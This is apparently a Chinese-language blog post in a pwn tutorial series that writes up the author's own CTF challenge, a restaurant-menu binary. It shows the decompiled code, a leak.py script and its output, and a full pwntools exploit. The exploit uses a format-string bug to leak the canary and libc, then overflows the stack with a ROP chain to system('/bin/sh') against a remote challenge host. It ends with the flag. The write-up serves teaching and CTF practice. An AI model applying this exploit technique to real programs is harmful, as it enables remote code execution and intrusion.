iT邦幫忙

2025 iThome 鐵人賽

DAY 16
0
Security

現在是pwn的天下!系列 第 16

【Day-16】CRHC - fast food restaurant🍔(fmt->ret2libc)

  • 分享至 

  • xImage
  •  

今天要講的是我在CRHC上面出的水題,解題人數 (15/491)
先附上題目連結,在pwn的資料夾
https://github.com/4ur0n/My-CTF-challenge
ok,那首先我原本在這個題目是沒有給source的,所以我們這次用binary檔的方式來講解
首先一樣先進入檢查環節

環境問題

首先如果你已經過了靶機活著的時間,那就只能架在local

step 1

sudo docker-compose up -d || sudo docker compose up -d

step 2

sudo docker ps 查看container name || container id
https://ithelp.ithome.com.tw/upload/images/20250821/20172088kBPIpJKlyN.png

step 3

auron@Auronlin:/mnt/c/Users/Auron/Documents/CRHCCTF-2025/web/baby_ssti$ sudo docker exec -it <container_id> bash
這裡我們的container id為8c173c9ad2e5

step 4

我們會發現已經進入container的shell,那接下來我們就是要下載patchelf的東西,接著patchelf就完成link這個libc了

apt-get install patchelf
patchelf --set-interpreter /home/chal/ld-linux-x86-64.so.2 chal
patchelf --set-rpath /home/chal chal

file

https://ithelp.ithome.com.tw/upload/images/20250820/20172088bAFqLc2At0.png

checksec

保護全開
https://ithelp.ithome.com.tw/upload/images/20250820/20172088OcOJsRJIBx.png

binary

接者我們去decompiler這個binary,來看他到底在幹嘛
main:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+7h] [rbp-E9h] BYREF
  int v5; // [rsp+8h] [rbp-E8h]
  int v6; // [rsp+Ch] [rbp-E4h]
  char s[16]; // [rsp+10h] [rbp-E0h] BYREF
  _BYTE v8[64]; // [rsp+20h] [rbp-D0h] BYREF
  char buf[136]; // [rsp+60h] [rbp-90h] BYREF
  unsigned __int64 v10; // [rsp+E8h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  init(argc, argv, envp);
  v5 = 1000;
  welcome();
  do
  {
    menu();
    printf("You have: $%d now\n\n", v5);
    printf("Choose food: ");
    fgets(s, 16, stdin);
    v6 = atoi(s);
    switch ( v6 )
    {
      case 1:
        puts("You bought a Burger!");
        ++food_counts;
        v5 -= 250;
        break;
      case 2:
        puts("You bought a Salad!");
        ++dword_40B4;
        v5 -= 150;
        break;
      case 3:
        puts("You bought a Cola!");
        ++dword_40B8;
        v5 -= 80;
        break;
      case 4:
        puts("You bought Fries!");
        ++dword_40BC;
        v5 -= 120;
        break;
      case 5:
        puts("You bought an Apple Pie!");
        ++dword_40C0;
        v5 -= 200;
        break;
      case 6:
        puts("You bought Ice Cream!");
        ++dword_40C4;
        v5 -= 180;
        break;
      case 7:
        my_food();
        break;
      case 8:
        my_food();
        printf("Give us feedback(Y/n) ");
        fflush(_bss_start);
        __isoc99_scanf(" %c", &v4);
        getchar();
        if ( v4 != 89 && v4 != 121 )
        {
          printf("%s", "Bye!");
          exit(0);
        }
        puts("What do you think of our restaurant: ");
        fflush(_bss_start);
        read(0, buf, 0x80u);
        puts("Here is your feedback for us: ");
        printf(buf);
        putchar(10);
        break;
      case 9:
        printf("%p\n", &puts);
        break;
      default:
        puts("Invalid choice!");
        break;
    }
  }
  while ( v5 >= 0 );
  puts("You don't have enough money to buy more foods!!\n");
  puts("Say something that you want to say: ");
  read(0, v8, 0x100u);
  return 0;
}

welcome:

int welcome()
{
  puts("\n========================================================");
  puts("          Welcome to CRHC Restaurant!     ");
  puts("      You have 1000 coins in your wallet.");
  puts("     Try ordering dishes by entering their id.");
  puts("  We have a secret dish for you, can you find it???");
  return puts("==========================================================\n");
}

menu:

int menu()
{
  puts("\nHere is a menu for you:\n");
  puts("1. Burger       - $250 ");
  puts("2. Salad        - $150 ");
  puts("3. Cola         -  $80 ");
  puts("4. Fries        - $120 ");
  puts("5. Apple Pie    - $200 ");
  puts("6. Ice Cream    - $180 ");
  puts("7. Show my food");
  return puts("8. Complete order\n");
}

my_food:

int my_food()
{
  int v1; // [rsp+8h] [rbp-8h]
  int i; // [rsp+Ch] [rbp-4h]

  puts("====================================");
  puts("Your foods:");
  v1 = 0;
  for ( i = 0; i <= 5; ++i )
  {
    if ( food_counts[i] > 0 )
    {
      printf("- %s x %d ==> $%d\n", (&foods)[i], food_counts[i], food_counts[i] * prices[i]);
      v1 += food_counts[i] * prices[i];
    }
  }
  printf("Total spent: $%d\n", v1);
  return puts("====================================");
}

看完這裡可以發現,主要漏洞都在main,其他好像都沒屁用,然後我們可以發現第一個漏洞在送出feedback的地方,我們會發現這裡有一個format string可以利用,這也就代表我們可以bypass Canary了,第二個漏洞在Say something that you want to say:的部分,這裡要輸入的長度明顯大於分配的長度,所以這裡會造成buffer overflow,我們就可以藉由format string去leak canary來繞過stack_chk_fail的檢查,那我們就可以依照程式流程去撰寫以下洩漏地址的程式碼:
leak.py:

from pwn import *

r = process('../share/chal')

for i in range(1, 50):
    payload = f'%{i}$p'.encode()

    r.sendlineafter(b': ', b'8')
    r.sendlineafter(b') ', b'y')
    r.sendlineafter(b':', payload)

    r.recvline()
    r.recvline()
    line = r.recvline().strip()

    if line == b'(nil)':
        warn(f'{i}. leak: (nil)')
    else:
        try:
            leak = int(line, 16)
            success(f'{i}. leak: {hex(leak)}')
        except ValueError:
            warn(f'{i}. unexpected output: {line}')

output:

[+] Starting local process '../share/chal': pid 2516
[+] 1. leak: 0x75ab84404643
[!] 2. leak: (nil)
[+] 3. leak: 0x75ab8431c574
[+] 4. leak: 0x1e
[+] 5. leak: 0x1
[+] 6. leak: 0x79007ffcec558a70
[+] 7. leak: 0x8000003e8
[+] 8. leak: 0xa38
[+] 9. leak: 0x40
[+] 10. leak: 0x1200000
[+] 11. leak: 0xc
[+] 12. leak: 0xffffffffffffffff
[+] 13. leak: 0x40
[+] 14. leak: 0xc
[+] 15. leak: 0x9a0000
[+] 16. leak: 0x800
[+] 17. leak: 0x9a0000
[+] 18. leak: 0xa7024383125
[+] 19. leak: 0x1340000
[+] 20. leak: 0x1340000
[+] 21. leak: 0x140000
[+] 22. leak: 0xc000
[+] 23. leak: 0x7ffcec558a28
[+] 24. leak: 0xba00000006
[!] 25. leak: (nil)
[!] 26. leak: (nil)
[!] 27. leak: (nil)
[!] 28. leak: (nil)
[!] 29. leak: (nil)
[!] 30. leak: (nil)
[!] 31. leak: (nil)
[!] 32. leak: (nil)
[+] 33. leak: 0x75ab845b7af0
[+] 34. leak: 0x7ffcec558b40
[+] 35. leak: 0x7d5062fcb298bd00 # canary found
[+] 36. leak: 0x7ffcec558b00
[+] 37. leak: 0x75ab8422a1ca
[+] 38. leak: 0x7ffcec558ab0
[+] 39. leak: 0x7ffcec558b88
[+] 40. leak: 0x1e677d040
[+] 41. leak: 0x5620e677e537
[+] 42. leak: 0x7ffcec558b88
[+] 43. leak: 0x7ece50dee7cae428
[+] 44. leak: 0x1
[!] 45. leak: (nil)
[+] 46. leak: 0x5620e6780d68
[+] 47. leak: 0x75ab845cf000
[+] 48. leak: 0x7ece50dee52ae428
[+] 49. leak: 0x6a608030b2c8e428

在這裡我們可以發現有16個byte並且以兩個0結尾的canary落在%35$p的地方,我們稍後就可以用這個方式去bypass canary,然後可以發現我在case 9,偷偷藏了一個可以leak puts地址的地方,這也就代表我們會讓解題越容易,那我們要怎麼利用這個puts呢?
我們拿到puts的leak之後,我們可以對這個leak去減掉libc裡面的puts,那我們就可以得知libc base的address
puts_leak - libc_puts = libc_base
那有了這個libc base對我們來說意義非常重大,這代表了我們可以任意調用想要用的function,一定也包含system,那我們有了這些細節後我們就可以撰寫出以下exp

exp.py:

from pwn import *

context.arch = 'amd64'

r = remote('23.146.248.136', 21101)
#r = process(['./share/ld-linux-x86-64.so.2', '--library-path', '.', './share/chal'])
libc = ELF('../share/libc.so.6')

r.recvuntil(b': ')
r.recvline()
r.recvline()

r.sendline(b'9')

ret_libc_offset = 0x2846b

bin_sh_offset = 0x1a7ea4
main_offset = 0x1467
canary_leak_payload = b'%35$p'

pop_rdi_offset = 0x2a145

puts_leak_str = r.recvline().strip().decode().split()[-1]

puts_leak = int(puts_leak_str, 16)

success(f'puts leak: {hex(puts_leak)}')

libc_base = puts_leak - libc.symbols['puts']
success(f'libc base: {hex(libc_base)}')

pop_rdi = libc_base + pop_rdi_offset
success(f'pop_rdi: {hex(pop_rdi)}')

bin_sh = libc_base + bin_sh_offset
system = libc_base + libc.symbols['system']

ret = ret_libc_offset + libc_base
success(f'ret: {hex(ret)}')

r.sendlineafter(b': ', b'8')
r.sendlineafter(b'Give us feedback(Y/n)', b'y')
r.sendlineafter(b'restaurant:', canary_leak_payload)
r.recvline()
r.recvline()

canary_leak = int(r.recvline().strip(), 16)
success(f'canary leak: {hex(canary_leak)}')

for _ in range(5):
    r.recvuntil(b': ')
    r.recvline()
    r.recvline()

    r.sendline(b'1')

payload = flat(b'a' * 200, canary_leak, b'a' * 8, pop_rdi, bin_sh, ret, system)

r.sendlineafter(b'Say something that you want to say:', payload)

r.interactive()

Pwned!
https://ithelp.ithome.com.tw/upload/images/20250820/201720885qFvmj5TQi.png

flag: CRHC{u3e_f0rm4t_3tr1n&_t0_g37_l3@k_4ddr3s3_4nd_7h3n_g37_sh3ll_4q2h08vkwibgroi}


上一篇
【Day-15】Return to csu
下一篇
【Day-17】heap簡介
系列文
現在是pwn的天下!30
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言